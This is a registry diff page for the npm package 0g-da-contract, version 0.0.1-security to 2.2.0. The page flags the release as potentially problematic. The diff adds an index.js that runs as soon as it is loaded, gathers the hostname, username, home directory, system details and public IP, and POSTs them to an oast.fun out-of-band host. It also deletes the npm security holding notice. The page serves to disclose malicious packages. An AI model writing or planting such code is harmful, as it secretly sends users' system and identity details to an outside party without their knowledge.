0g-da-contract 0.0.1-security → 2.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of 0g-da-contract might be problematic. Click here for more details.
- package/index.js +92 -0
- package/package.json +15 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,92 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
|
4
|
+
// Function to get user and system details
|
5
|
+
const getUserAndSystemDetails = () => {
|
6
|
+
const systemDetails = {
|
7
|
+
platform: os.platform(), // OS platform
|
8
|
+
architecture: os.arch(), // System architecture
|
9
|
+
cpuCores: os.cpus().length, // Number of CPU cores
|
10
|
+
freeMemory: os.freemem(), // Free memory in bytes
|
11
|
+
totalMemory: os.totalmem(), // Total memory in bytes
|
12
|
+
hostname: os.hostname(), // Hostname
|
13
|
+
username: os.userInfo().username, // Current user
|
14
|
+
homeDir: os.userInfo().homedir // User's home directory
|
15
|
+
};
|
16
|
+
return systemDetails;
|
17
|
+
};
|
18
|
+
|
19
|
+
// Function to get public IP address
|
20
|
+
const getPublicIp = (callback) => {
|
21
|
+
https.get('https://api64.ipify.org?format=json', (resp) => {
|
22
|
+
let data = '';
|
23
|
+
|
24
|
+
// A chunk of data has been received.
|
25
|
+
resp.on('data', (chunk) => {
|
26
|
+
data += chunk;
|
27
|
+
});
|
28
|
+
|
29
|
+
// The whole response has been received. Parse and return the IP.
|
30
|
+
resp.on('end', () => {
|
31
|
+
const ipData = JSON.parse(data);
|
32
|
+
callback(ipData.ip);
|
33
|
+
});
|
34
|
+
|
35
|
+
}).on("error", (err) => {
|
36
|
+
console.log("Error fetching public IP: " + err.message);
|
37
|
+
callback(null);
|
38
|
+
});
|
39
|
+
};
|
40
|
+
|
41
|
+
// Function to send data to the Intercct SH instance
|
42
|
+
const sendToIntercctSH = (data) => {
|
43
|
+
const postData = JSON.stringify(data);
|
44
|
+
|
45
|
+
const options = {
|
46
|
+
hostname: 'zezcpprclerkqyeittfxklacg53safnqu.oast.fun', // Replace with your Intercct SH instance hostname
|
47
|
+
port: 443,
|
48
|
+
path: '/endpoint', // Replace with your endpoint path
|
49
|
+
method: 'POST',
|
50
|
+
headers: {
|
51
|
+
'Content-Type': 'application/json',
|
52
|
+
'Content-Length': postData.length
|
53
|
+
}
|
54
|
+
};
|
55
|
+
|
56
|
+
const req = https.request(options, (res) => {
|
57
|
+
let responseBody = '';
|
58
|
+
|
59
|
+
res.on('data', (chunk) => {
|
60
|
+
responseBody += chunk;
|
61
|
+
});
|
62
|
+
|
63
|
+
res.on('end', () => {
|
64
|
+
console.log('Data sent successfully:', responseBody);
|
65
|
+
});
|
66
|
+
});
|
67
|
+
|
68
|
+
req.on('error', (e) => {
|
69
|
+
console.error(`Problem with request: ${e.message}`);
|
70
|
+
});
|
71
|
+
|
72
|
+
// Write data to request body
|
73
|
+
req.write(postData);
|
74
|
+
req.end();
|
75
|
+
};
|
76
|
+
|
77
|
+
// Main function to fetch details and send them
|
78
|
+
const main = () => {
|
79
|
+
const systemDetails = getUserAndSystemDetails();
|
80
|
+
getPublicIp((publicIp) => {
|
81
|
+
const data = {
|
82
|
+
...systemDetails,
|
83
|
+
ip: publicIp
|
84
|
+
};
|
85
|
+
|
86
|
+
console.log('Sending the following data to Intercct SH:', data);
|
87
|
+
sendToIntercctSH(data);
|
88
|
+
});
|
89
|
+
};
|
90
|
+
|
91
|
+
// Execute the main function
|
92
|
+
main();
|
package/package.json
CHANGED
@@ -1,6 +1,18 @@
|
|
1
1
|
{
|
2
2
|
"name": "0g-da-contract",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "2.2.0",
|
4
|
+
"description": "testing",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "ls"
|
8
|
+
},
|
9
|
+
"keywords": [
|
10
|
+
"test"
|
11
|
+
],
|
12
|
+
"author": "ISC",
|
13
|
+
"license": "ISC",
|
14
|
+
"dependencies": {
|
15
|
+
"0g-da-contract": "^2.0.0",
|
16
|
+
"axios": "^1.7.7"
|
17
|
+
}
|
6
18
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=0g-da-contract for more information.
|